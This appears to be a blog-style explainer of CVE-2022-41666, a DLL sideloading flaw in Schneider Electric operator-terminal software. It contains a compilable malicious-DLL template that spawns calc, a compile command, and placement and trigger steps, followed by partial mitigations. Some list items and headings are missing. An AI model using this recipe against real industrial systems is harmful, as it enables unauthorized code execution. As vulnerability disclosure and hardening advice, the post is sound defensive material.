---

Introduction

In October 2022, Schneider Electric published an advisory about a critical security vulnerability (CVE-2022-41666) affecting its EcoStruxure Operator Terminal Expert (V3.3 Hotfix 1 or prior) and Pro-face BLUE (V3.3 Hotfix 1 or prior) products. This vulnerability, catalogued under CWE-347: Improper Verification of Cryptographic Signature, allows attackers with local user privileges to load a malicious DLL. This can result in execution of unauthorized code, potentially compromising the security and reliability of industrial systems.

In this post, we’ll break down what this vulnerability means, how it can be exploited, and what you can do about it — using simple, clear language and real code snippets.

Understanding CVE-2022-41666

Improper Verification of Cryptographic Signature means that the software fails to verify that dynamic libraries (DLLs) are cryptographically signed by the vendor. This allows attackers to swap legitimate DLL files with malicious ones, a technique known as DLL sideloading.

In affected versions of EcoStruxure Operator Terminal Expert and Pro-face BLUE, a low-privileged user can place a fake DLL in a location where the application trusts it, leading to execution of arbitrary code.

Persistence: Malicious code can survive reboots.

- Lateral movement: In industrial environments, this could allow attackers to move deeper into the network.

Exploit Scenario — Step by Step

Let’s walk through how this might work in a real-world attack. (This example assumes attacker has *local* user access.)

Step 1: Identify the Expected DLL

The attacker determines which DLLs the application tries to load at startup, usually with a tool like Process Monitor or Dependency Walker.

Step 2: Create a Malicious DLL

Create a DLL using Visual Studio or MinGW that performs a simple malicious action — for example, spawning a calculator (as a stand-in for more damaging code).

// malicious.c - compile as DLL
#include <windows.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
    if(fdwReason == DLL_PROCESS_ATTACH) {
        WinExec("calc", SW_SHOW);
    }
    return TRUE;
}

To compile (example with MinGW)

gcc -shared -o malicious.dll malicious.c

Step 3: Sideload the Malicious DLL

Place malicious.dll in the application directory or another location the program checks before the system path.

For example

C:\Program Files\EcoStruxure Operator Terminal Expert\malicious.dll

Step 4: Trigger the Application

The next time the application starts (or restarts), it will load the attacker's DLL instead of the legitimate one, executing attacker’s code.

Proof-of-Concept Repo (Educational Purpose Only)

While no official public exploit exists, the proof-of-concept is a standard DLL sideload attack.

- DLL Hijacking Reference (other vendor, educational)
- Schneider Electric Advisory (PDF)

Permissions: Restrict write access to the application directories.

3. Whitelist: Only allow signed binaries and DLLs using application whitelisting tools (e.g., Microsoft AppLocker).

Official advisory & patch

- Schneider Electric Security Notification - SEVD-2022-315-03

Final Thoughts

CVE-2022-41666 is a classic example of why cryptographic verification is crucial for modern software, especially in industrial control systems. If you administer EcoStruxure Operator Terminal Expert or Pro-face BLUE, patch today and take steps to harden your environment against DLL sideloading.

References

- NVD Entry for CVE-2022-41666
- CWE-347: Improper Verification of Cryptographic Signature
- Schneider Official Security Notification PDF

*Please use the information in this post responsibly and only in environments where you have permission.*

Timeline

Published on: 11/04/2022 05:15:00 UTC
Last modified on: 11/05/2022 02:01:00 UTC